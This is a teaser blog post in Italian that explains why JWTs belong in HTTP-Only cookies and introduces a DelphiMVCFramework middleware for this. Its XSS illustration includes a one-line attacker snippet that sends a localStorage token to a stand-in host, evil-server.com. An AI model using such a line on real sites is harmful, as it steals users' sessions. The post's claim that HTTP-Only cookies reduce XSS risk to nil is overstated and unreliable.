JWT su Cookie HTTP-Only: Autenticazione Sicura in DelphiMVCFramework

I JSON Web Token (JWT) hanno rivoluzionato l’autenticazione nelle applicazioni web moderne. Sono stateless, scalabili, e permettono di implementare facilmente sistemi di autenticazione distribuiti. Ma con grande potere viene grande responsabilita'.
Il problema principale non e’ il JWT in se’ - e’ dove lo memorizzi sul client.
Il Pericolo di localStorage
Se hai sviluppato applicazioni web con autenticazione JWT, probabilmente hai scritto codice JavaScript simile a questo:
// L'approccio "classico" - PERICOLOSO!
async function login(username, password) {
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
});
const data = await response.json();
// Salviamo il token in localStorage - ERRORE!
localStorage.setItem('jwt_token', data.token);
}
Questo codice funziona, ma e’ vulnerabile ad attacchi XSS (Cross-Site Scripting). Se un attaccante riesce a iniettare del codice JavaScript nella tua pagina, puo’ rubare il token con una sola riga:
// Codice dell'attaccante - ruba il token!
fetch('https://evil-server.com/steal?token=' + localStorage.getItem('jwt_token'));
Il Costo di una Violazione
Quando un token JWT viene rubato, l’attaccante ottiene accesso completo all’account dell’utente fino alla scadenza del token. Con token di lunga durata, questo puo’ significare ore o giorni di accesso non autorizzato.
Le conseguenze possono includere:
- Furto di dati sensibili: L’attaccante puo’ accedere a tutte le API che l’utente legittimo puo’ usare
- Azioni non autorizzate: Acquisti, trasferimenti di denaro, modifiche ai dati
- Escalation di privilegi: Se l’utente e’ un amministratore, l’attaccante eredita i suoi permessi
- Danni reputazionali: La tua applicazione sara’ ricordata per la violazione di sicurezza
Le Opzioni di Storage e i Loro Rischi
| Storage | Pro | Contro | Rischio XSS |
|---|---|---|---|
| localStorage | Persistente, API semplice | Accessibile da JavaScript | ALTO |
| sessionStorage | Isolato per tab | Accessibile da JavaScript | ALTO |
| Cookie standard | Inviato automaticamente | Accessibile da JavaScript | ALTO |
| Cookie HTTP-Only | Non accessibile da JavaScript | Richiede configurazione server | NULLO |
La scelta e’ chiara: i cookie HTTP-Only sono l’unica opzione che elimina completamente il rischio di furto tramite XSS.
La Soluzione: TMVCJWTCookieAuthenticationMiddleware
DelphiMVCFramework 3.4.3+ introduce TMVCJWTCookieAuthenticationMiddleware, progettato con un approccio secure-by-default:
| Impostazione | Default | Motivazione |
|---|---|---|
| HttpOnly | True (sempre) |
Protezione XSS - non modificabile |
| Secure | True |
Cookie solo su HTTPS |
| SameSite | Strict |
Massima protezione CSRF |
Il flag HttpOnly e’ sempre attivo e non puo’ essere disabilitato. Questa e’ una scelta di design deliberata: non c’e’ mai una ragione valida per rendere un token JWT accessibile a JavaScript.
π Articolo Completo Riservato agli Iscritti
L'articolo completo include: anatomia degli attacchi XSS e CSRF, implementazione completa dell'Authentication Handler, flussi di autenticazione, integrazione con HTMX/Vue/React, token refresh automatico, scenari cross-origin, migrazione dal vecchio middleware, debugging e troubleshooting, checklist di sicurezza per la produzione.
Accedi all'Articolo Completo su Patreon β– Daniele Teti

Comments
comments powered by Disqus